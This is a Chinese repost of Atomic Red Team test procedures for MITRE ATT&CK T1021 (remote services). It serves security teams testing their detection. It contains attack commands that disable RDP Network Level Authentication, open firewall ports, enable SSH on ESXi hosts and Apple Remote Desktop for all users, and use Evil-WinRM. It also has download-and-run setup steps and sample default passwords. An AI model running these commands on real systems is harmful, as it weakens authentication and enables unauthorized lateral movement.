T1021 - 远程服务

admin 2025年4月2日23:04:57评论4 views字数 9260阅读30分52秒阅读模式
Atomic Red Team™是一个映射到MITRE ATT&CK®框架的测试库。安全团队可以使用Atomic Red Team快速、可移植和可重复地测试他们的环境。

本文章为Atomic Red Team系列文章,本篇文章内容为T1021-远程服务。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。

重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。

本篇文章包含T1021.001、T1021.004、T1021.005、T1021.006四篇技战术,由于篇幅原因,对T1021.002-远程服务:SMB/Windows管理共享、T1021.003-远程服务:分布式组件对象模型(DCOM)感兴趣的朋友可自行查阅

T1021.001 - 远程服务:远程桌面协议

2025年3月20日00:00:00

  • 本页内容
    • 原子测试#1 - 通过RDP连接到域控制器
    • 原子测试#2 - 使用Powershell将RDP端口更改为非标准端口
    • 原子测试#3 - 使用命令提示符将RDP端口更改为非标准端口
    • 原子测试#4 - 通过命令提示符禁用RDP的网络级别身份验证
    • 来自ATT&CK的描述
    • 原子测试

来自ATT&CK的描述

攻击者可能会使用有效账户通过远程桌面协议(RDP)登录计算机。随后,攻击者可以以登录用户的身份执行操作。

远程桌面是操作系统中的常见功能,它允许用户登录到远程系统的桌面图形用户界面,开启交互式会话。微软将其远程桌面协议(RDP)的具体实现称为远程桌面服务(RDS)。(引用:TechNet远程桌面服务)

如果启用了相关服务,并且允许使用已知凭证的账户访问,攻击者可能会通过RDP/RDS连接到远程系统,以此扩大访问权限。攻击者可能会利用凭证访问技术获取用于RDP的凭证。此外,攻击者还可能将RDP与辅助功能或终端服务DLL结合使用,以实现持久化。(引用:Alperovitch恶意软件相关研究)

原子测试

原子测试#1 - 通过RDP连接到域控制器

尝试通过远程桌面应用程序与域控制器建立RDP会话。

  • 支持的平台
    Windows
  • 自动生成的GUID
    355d4632 - 8cb9 - 449d - 91ce - b566d0253d3e
  • 输入参数
名称
描述
类型
默认值
logonserver
ComputerName参数,默认值为%logonserver%
字符串
$ENV:logonserver.TrimStart("")
domain
domain参数,默认值为%USERDOMAIN%
字符串
$Env:USERDOMAIN
username
Username参数,默认值为%username%
字符串
$ENV:USERNAME
password
密码
字符串
1password2!
  • 攻击命令
    使用powershell运行!
$Server=#{logonserver}$User = Join-Path #{domain} #{username}$Password="#{password}"cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Passwordmstsc /v:$Serverecho "RDP connection established"
  • 清理命令
$p=Tasklist /svc /fi "IMAGENAME eq mstsc.exe" /fo csv | convertfrom-csvif(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }
  • 依赖项
    使用powershell运行!
  • 描述
    计算机必须加入域
  • 检查先决条件命令
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) { exit 0else { exit 1}
  • 获取先决条件命令
Write-Host Joining this computer to a domain must be done manually

原子测试#2 - 使用Powershell将RDP端口更改为非标准端口

使用Powershell将RDP端口更改为非标准端口。

  • 支持的平台
    Windows
  • 自动生成的GUID
    2f840dd4 - 8a2e - 4f44 - beb3 - 6b2399ea3771
  • 输入参数
名称
描述
类型
默认值
OLD_Remote_Port
默认的RDP监听端口
字符串
3389
NEW_Remote_Port
新的RDP监听端口
字符串
4489
  • 攻击命令
    使用powershell运行!需要提升权限(例如root或管理员权限)
Set-ItemProperty -Path 'HKLM:SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp' -name "PortNumber" -Value #{NEW_Remote_Port}New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}
  • 清理命令
Set-ItemProperty -Path 'HKLM:SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp' -name "PortNumber" -Value #{OLD_Remote_Port}Remove-NetFirewallRule -DisplayName "RDPPORTLatest-TCP-In" -ErrorAction IgnoreGet-Service TermService | Restart-Service -Force -ErrorAction Ignore

原子测试#3 - 使用命令提示符将RDP端口更改为非标准端口

使用命令提示符将RDP端口更改为非标准端口。

  • 支持的平台
    Windows
  • 自动生成的GUID
    74ace21e - a31c - 4f7d - b540 - 53e4eb6d1f73
  • 输入参数
名称
描述
类型
默认值
OLD_Remote_Port
默认的RDP监听端口
字符串
3389
NEW_Remote_Port
新的RDP监听端口
字符串
4489
  • 攻击命令
    使用command_prompt运行!需要提升权限(例如root或管理员权限)
reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} /fnetsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}
  • 清理命令
reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} /f >nul 2>&1netsh advfirewall firewall delete rule name="RDPPORTLatest-TCP-In" >nul 2>&1net stop TermService /y >nul 2>&1net start TermService >nul 2>&1

原子测试#4 - 通过命令提示符禁用RDP的网络级别身份验证

通过命令提示符更改注册表项,禁用RDP的网络级别身份验证(NLA)。禁用RDP的NLA后,远程用户在进行身份验证之前,可与Windows登录屏幕进行交互。据微软称,Flax Typhoon组织的攻击者利用了这一技术,在受害者系统上实现持久化访问:https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/

  • 支持的平台
    Windows
  • 自动生成的GUID
    01d1c6c0 - faf0 - 408e - b368 - 752a02285cb2
  • 输入参数
名称
描述
类型
默认值
Default_UserAuthentication
默认的UserAuthentication注册表值
字符串
1
  • 攻击命令
    使用command_prompt运行!
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v UserAuthentication /d 0 /t REG_DWORD /f
  • 清理命令
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v UserAuthentication /d #{Default_UserAuthentication} /t REG_DWORD -f >nul 2>&1

T1021.004 - 远程服务:SSH

2025年3月20日00:00:00

T1021.004 - 远程服务:SSH

来自ATT&CK的描述

攻击者可能会使用有效账户,通过安全外壳协议(SSH)登录远程机器,随后以登录用户的身份执行操作。

SSH是一种协议,它允许授权用户在其他计算机上打开远程Shell。许多Linux和macOS版本默认安装了SSH,但在用户启用之前通常处于禁用状态。SSH服务器可以配置为使用标准密码认证,或者使用公私钥对来代替密码,也可以两者都使用。在这种认证场景下,用户的公钥必须存放在运行服务器的计算机上的一个特殊文件中,该文件列出了允许以该用户身份登录的密钥对。

原子测试

  • 原子测试#1 - ESXi - 通过PowerCLI启用SSH
  • 原子测试#2 - ESXi - 通过VIM-CMD启用SSH

原子测试#1 - ESXi - 通过PowerCLI启用SSH

攻击者在ESXi主机上启用SSH服务,以保持对主机的持久访问并执行后续操作。

  • 支持的平台
    Windows
  • 自动生成的GUID
    8f6c14d1 - f13d - 4616 - b7fc - 98cc69fe56ec
  • 输入参数
名称
描述
类型
默认值
vm_host
指定ESXi服务器的主机名
字符串
atomic.local
vm_user
指定ESXi服务器上的特权用户账户
字符串
root
vm_pass
指定ESXi服务器上特权用户的密码
字符串
pass
  • 攻击命令
    使用powershell运行!需要提升权限(例如root或管理员权限)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$falseConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
  • 清理命令
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$falseConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Stop-VMHostService -Confirm:$false
  • 依赖项
    使用powershell运行!
  • 描述
    检查是否安装了VMWARE PowerCLI PowerShell模块
  • 检查先决条件命令
$RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailableif (-not $RequiredModule) {exit 1}
  • 获取先决条件命令
Install-Module -Name VMware.PowerCLI

原子测试#2 - ESXi - 通过VIM-CMD启用SSH

攻击者在ESXi主机上启用SSH,以维持持久访问并创建另一个命令执行接口。

  • 支持的平台
    Windows
  • 自动生成的GUID
    280812c8 - 4dae - 43e9 - a74e - 1d08ab997c0e
  • 输入参数
名称
描述
类型
默认值
vm_host
指定ESXi服务器的主机名或IP
字符串
atomic.local
vm_user
指定ESXi服务器上的特权用户账户
字符串
root
vm_pass
指定特权用户的密码
字符串
password
plink_file
Plink的路径
路径
PathToAtomicsFolder..ExternalPayloadsplink.exe
  • 攻击命令
    使用command_prompt运行!
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
  • 清理命令
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/disable_ssh"
  • 依赖项
    使用powershell运行!
  • 描述
    检查是否有plink
  • 检查先决条件命令
if (Test-Path "#{plink_file}") {exit 0else {exit 1}
  • 获取先决条件命令
New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-Null

Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"

T1021.005 - 远程服务:VNC

2025年3月20日00:00:00

T1021.005 - 远程服务:VNC

来自ATT&CK的描述

攻击者可能会使用有效账户,通过虚拟网络计算(VNC)技术远程控制计算机。VNC是一个独立于平台的桌面共享系统,它使用RFB(“远程帧缓冲”)协议,通过在网络中传输屏幕图像、鼠标和键盘输入信息,让用户能够远程控制另一台计算机的显示界面。(引用:远程帧缓冲协议 )

VNC与远程桌面协议有所不同,VNC是屏幕共享软件,而非资源共享软件。默认情况下,VNC使用系统的认证机制,但也可以配置为使用VNC专用的凭证。(引用:用于远程桌面的MacOS VNC软件;VNC认证 )

攻击者可能会滥用VNC,以登录用户的身份执行恶意操作,例如打开文档、下载文件和运行任意命令。攻击者可以利用VNC远程控制和监控系统,收集数据和信息,进而渗透到网络中的其他系统。特定的VNC库或其实现方式还容易受到暴力破解攻击和内存利用漏洞的影响。(引用:劫持VNC;无需认证即可登录MacOS的root权限VNC;VNC漏洞;进攻性安全的VNC认证检查;渗透测试实验室对VNC服务器的攻击;哈瓦那认证漏洞 )

原子测试

原子测试#1 - 启用Apple远程桌面代理

Apple远程桌面(ARD)融合了多种协议,其中包括使用VNC来传输屏幕和控制缓冲区信息,以及使用SSH进行安全文件传输。攻击者可能会滥用ARD来实现远程代码执行和横向移动。 参考资料:https://www.mandiant.com/resources/blog/leveraging-apple-remote-desktop-for-good-and-evil

  • 支持的平台
    macOS
  • 自动生成的GUID
    8a930abe - 841c - 4d4f - a877 - 72e9fe90b9ea
  • 攻击命令
    使用sh运行!需要提升权限(例如root或管理员权限)
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet
  • 清理命令
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -stop -configure -privs -none -quiet

T1021.006 - 远程服务:Windows远程管理

2025年3月20日00:00:00

T1021.006 - 远程服务:Windows远程管理

来自ATT&CK的描述

攻击者可能会使用有效账户,通过Windows远程管理(WinRM)与远程系统进行交互,然后以登录用户的身份执行操作。

WinRM既是一项Windows服务的名称,也是一种协议,它允许用户与远程系统进行交互(例如,运行可执行文件、修改注册表、修改服务等)。(引用:微软WinRM相关文档 )可以使用winrm命令调用它,也可以通过诸如PowerShell等众多程序来调用。(引用:Jacobsen 2014)WinRM还可用作与Windows管理规范(Windows Management Instrumentation)进行远程交互的一种方式。(引用:MSDN关于WMI的文档 )

原子测试

  • 原子测试#1 - 启用Windows远程管理
  • 原子测试#2 - 使用Invoke-Command通过PS凭据进行远程代码执行
  • 原子测试#3 - 使用Evil-WinRM访问WinRM

原子测试#1 - 启用Windows远程管理

使用PowerShell启用WinRM。

执行成功后,PowerShell将运行“Enable-PSRemoting”,从而允许进行远程PS访问。

  • 支持的平台
    Windows
  • 自动生成的GUID
    9059e8de - 3d7d - 4954 - a322 - 46161880b9cf
  • 攻击命令
    使用powershell运行!需要提升权限(例如root或管理员权限)
Enable-PSRemoting -Force

原子测试#2 - 使用Invoke-Command通过PS凭据进行远程代码执行

在本地主机上通过PowerShell远程处理模拟横向移动。执行成功后,PowerShell将使用Invoke-Command针对本地机器(作为远程目标)执行whoami命令。

  • 支持的平台
    Windows
  • 自动生成的GUID
    5295bd61 - bd7e - 4744 - 9d52 - 85962a4cf2d6
  • 攻击命令
    使用powershell运行!
Enable-PSRemoting -ForceInvoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}
  • 清理命令
Disable-PSRemoting -Force

原子测试#3 - 使用Evil-WinRM访问WinRM

攻击者可能会尝试使用Evil-WinRM和有效账户,与启用了WinRM的远程系统进行交互。

  • 支持的平台
    Windows
  • 自动生成的GUID
    efe86d95 - 44c4 - 4509 - ae42 - 7bfd9d1f5b3d
  • 输入参数
名称
描述
类型
默认值
user_name
用户名
字符串
DomainAdministrator
destination_address
远程主机IP或主机名
字符串
Target
password
密码
字符串
P@ssw0rd1
  • 攻击命令
    使用powershell运行!需要提升权限(例如root或管理员权限)
evil-winrm -i #{destination_address} -u #{user_name} -p #{password}
  • 依赖项
    :使用powershell运行!
  • 描述
    :计算机必须安装Ruby
    • 检查先决条件命令
try {if(ruby -v) {exit 0else {exit 1}} catch {exit 1}
  • 获取先决条件命令
New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-NullInvoke-WebRequest  -OutFile "PathToAtomicsFolder..ExternalPayloadsrubyinstaller-2.7.1-1-x64.exe" https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.7.1-1/rubyinstaller-2.7.1-1-x64.exe$file1"PathToAtomicsFolder..ExternalPayloadsrubyinstaller-2.7.1-1-x64.exe"Start-Process $file1 /S;
  • 描述
    计算机必须安装Evil-WinRM
  • 检查先决条件命令
try {if(evil-winrm -h) {exit 0else {exit 1}} catch {exit 1}
  • 获取先决条件命令
gem install evil-winrm

原文始发于微信公众号(网空安全手札):T1021 - 远程服务

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月2日23:04:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   T1021 - 远程服务https://cn-sec.com/archives/3892485.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息